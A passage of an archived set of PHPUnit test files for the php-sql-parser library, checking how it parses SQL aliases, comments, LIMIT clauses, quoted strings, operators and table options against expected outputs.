 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue82Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue82() {


        $parser = new PHPSQLParser();
        $sql = "SELECT SUM(1) * 100 as number";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue82.serialized');
        $this->assertEquals($expected, $p, 'operator * problem');

    }
}

PK     \Cջ/
  /
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue40Test.phpnu [        <?php
/**
 * issue40.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue40Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue40() {


        $parser = new PHPSQLParser();

        $sql = "select a from t where x = \"a'b\\cd\" and y = 'ef\"gh'";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue40a.serialized');
        $this->assertEquals($expected, $p, 'escaped characters 1');


        $sql = "select a from t where x = \"abcd\" and y = 'efgh'";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue40b.serialized');
        $this->assertEquals($expected, $p, 'escaped characters 2');

    }
}

PK     \]7!	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue120Test.phpnu [        <?php
/**
 * issue120Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue120Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue120() {
        $sql = "(
        SELECT CNAME
        FROM COCKTAIL
        )";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue120.serialized');
        $this->assertEquals($expected, $p, 'parentheses around select');
    }
}
?>
PK     \ǘD	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue135Test.phpnu [        <?php
/**
 * issue135.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue135Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue135() {


        $sql = "SELECT x,y,z FROM tableA WHERE x<5 GROUP BY STD(y)";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue135.serialized');
        $this->assertEquals($expected, $p, 'STD must be an aggregate function');

    }
}

PK     \$  $  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue355Test.phpnu [        <?php

namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue355Test extends \PHPUnit\Framework\TestCase
{
	public function testIssue322()
	{
        $sql = "
            CREATE TABLE `test_alias` (
              `a` INTEGER,
              `b` CHARACTER(10),
              `c` VARCHARACTER(10),
              `d` INT2,
              `e` INT3,
              `f` INT4,
              `g` INT8,
              `h` FLOAT4,
              `i` FLOAT8,
              `j` MIDDLEINT
            );
        ";
		$parser = new PHPSQLParser();
        $parser->parse($sql, true);
        // We expect to see 10 parsed columns
        $this->assertEquals(
            10,
            count($parser->parsed['TABLE']['create-def']['sub_tree'])
        );

    }
}

PK     \|  |  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue53Test.phpnu [        <?php
/**
 * issue53.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue53Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue53() {


        $parser = new PHPSQLParser();

        $sql = "SELECT * FROM table WHERE a=1 ORDER BY c DESC LIMIT 10 OFFSET 20";
        $parser->parse($sql, false);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue53a.serialized');
        $this->assertEquals($expected, $p, 'limit with offset');


        $sql = "SELECT * FROM table WHERE a=1 ORDER BY c DESC LIMIT 20, 10";
        $parser->parse($sql, false);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue53a.serialized');
        $this->assertEquals($expected, $p, 'limit with comma-separated offset');


        $sql = "SELECT * FROM table WHERE a=1 ORDER BY c DESC LIMIT 10";
        $parser->parse($sql, false);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue53b.serialized');
        $this->assertEquals($expected, $p, 'limit without offset');

    }
}

PK     \kjsM  M  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue56Test.phpnu [        <?php
/**
 * issue56.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue56Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue56() {


        // optimizer/index hints
        // TODO: not solved
        $parser = new PHPSQLParser();
        $sql = "insert /* +APPEND */ into TableName (Col1,col2) values(1,'pol')";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue56a.serialized');
        $this->assertEquals($expected, $p, 'optimizer hint within INSERT');
        // optimizer/index hints
        // TODO: not solved
        $parser = new PHPSQLParser();
        $sql = "insert /* a comment -- haha */ into TableName (Col1,col2) values(1,'pol')";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue56a1.serialized');
        $this->assertEquals($expected, $p, 'multiline comment with inline comment inside');

        // inline comment
        // TODO: not solved
        $sql = "SELECT acol -- an inline comment
        FROM --another comment
        table
        WHERE x = 1";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue56b.serialized');
        $this->assertEquals($expected, $p, 'inline comment should not fail, issue 56');

        // inline comment
        // TODO: not solved
        $sql = "SELECT acol -- an /*inline comment
        FROM --another */comment
        table
        WHERE x = 1";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue56b1.serialized');
        $this->assertEquals($expected, $p, 'inline comment with multiline comment inside');

    }
}

PK     \ u#
  #
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue15Test.phpnu [        <?php
/**
 * issue15.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue15Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue15() {


        $parser = new PHPSQLParser();

        $sql = "select usr_id, usr_login, case id_tipousuario when 1 then 'Usuario CVE' when 2 then concat('Usuario Vendedor -', codigovendedor, '-') when 3 then concat('Usuario Vendedor Meson (', codigovendedor, ')') end tipousuario, CONCAT( usr_nombres, ' ', usr_apellidos ) as nom_com, cod_local from usuarios where usr_estado <> 2 order by 3, 1, 4";
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue15.serialized');
        $this->assertEquals($expected, $p, 'parenthesis problem on issue 15');

    }
}

PK     \EP    B  vendor/greenlion/php-sql-parser/tests/cases/parser/aliasesTest.phpnu [        <?php
/**
 * aliasesTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;

class AliasesTest extends \PHPUnit\Framework\TestCase {
	
	protected $parser;
	
	/**
	 * @before
	 * Executed before each test
	 */
	protected function setup(): void {
		$this->parser = new PHPSQLParser();
	}

    public function testAlias1() {
        $sql = 'SELECT colA * colB From test t';
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'alias1.serialized');
        $this->assertEquals($expected, $p, 'multiply columns with table alias');
    }
    
    public function testAlias2() {
        $sql = 'select colA colA from test';
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'alias2.serialized');
        $this->assertEquals($expected, $p, 'alias named like the column');
    }
    
    public function testAlias3() {
        $sql = 'SELECT (select colA AS a from test t) colA From example as b';
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'alias3.serialized');
        $this->assertEquals($expected, $p, 'sub-query within selection with alias');
    }
    
    public function testAlias4() {
        $sql = 'SELECT (select colA AS a from testA) + (select colB b from testB) From tableC x';
        $p = $this->parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'alias4.serialized');
        $this->assertEquals($expected, $p, 'add two sub-query results');
    }
}
?>
PK     \z	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue70Test.phpnu [        <?php
/**
 * issue70.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue70Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue70() {


        $sql = "select `column` from table where col=\"value\"";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue70.serialized');
        $this->assertEquals($expected, $p, 'quotes after an operator should not fail.');

    }
}

PK     \g0  0  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue335Test.phpnu [        <?php
/**
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class issue335Test extends \PHPUnit\Framework\TestCase
{
    /**
     * @test
     */
    public function multiplication_operator_is_correctly_parsed_before_function_expression()
    {
        $parser = new PHPSQLParser();

        $parser->parse('SELECT 15 * ROUND(3, 1) FROM dual');
        $multiplicationOperator = $parser->parsed['SELECT'][0]['sub_tree'][1];
        $this->assertEquals('*', $multiplicationOperator['base_expr']);
        $this->assertEquals('operator', $multiplicationOperator['expr_type']);
    }

    /**
     * @test
     */
    public function multiplication_operator_is_correctly_parsed_after_function_expression()
    {
        $parser = new PHPSQLParser();

        $parser->parse('SELECT ROUND(3, 1) * 15 FROM dual');
        $multiplicationOperator = $parser->parsed['SELECT'][0]['sub_tree'][1];
        $this->assertEquals('*', $multiplicationOperator['base_expr']);
        $this->assertEquals('operator', $multiplicationOperator['expr_type']);
    }

    /**
     * @test
     */
    public function star_is_parsed_as_colref()
    {
        $parser = new PHPSQLParser();

        $parser->parse('SELECT * FROM a_table');
        $star = $parser->parsed['SELECT'][0];
        $this->assertEquals('*', $star['base_expr']);
        $this->assertEquals('colref', $star['expr_type']);

        $parser->parse('SELECT ROUND(3, 1), * FROM a_table');
        $star = $parser->parsed['SELECT'][1];
        $this->assertEquals('*', $star['base_expr']);
        $this->assertEquals('colref', $star['expr_type']);

        $parser->parse('SELECT ROUND(3, 1), a_table.* FROM a_table');
        $star = $parser->parsed['SELECT'][1];
        $this->assertEquals('a_table.*', $star['base_expr']);
        $this->assertEquals('colref', $star['expr_type']);
    }
}
PK     \I  I  G  vendor/greenlion/php-sql-parser/tests/cases/parser/tableoptionsTest.phpnu [        <?php
/**
 * tableoptionsTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class TableOptionsTest extends \PHPUnit\Framework\TestCase {
	
    public function testTableOptions1() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho () AUTO_INCREMENT = 1 DEFAULT CHARACTER SET _utf8 PASSWORD 'test123'";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'tableoptions1.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with table options');
    }
    
    public function testTableOptions2() {
        // TODO: the union statement within the CREATE TABLE has not been parsed
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho () UNION (tableA, tableB,tableC)";
        $parser->parse($sql);
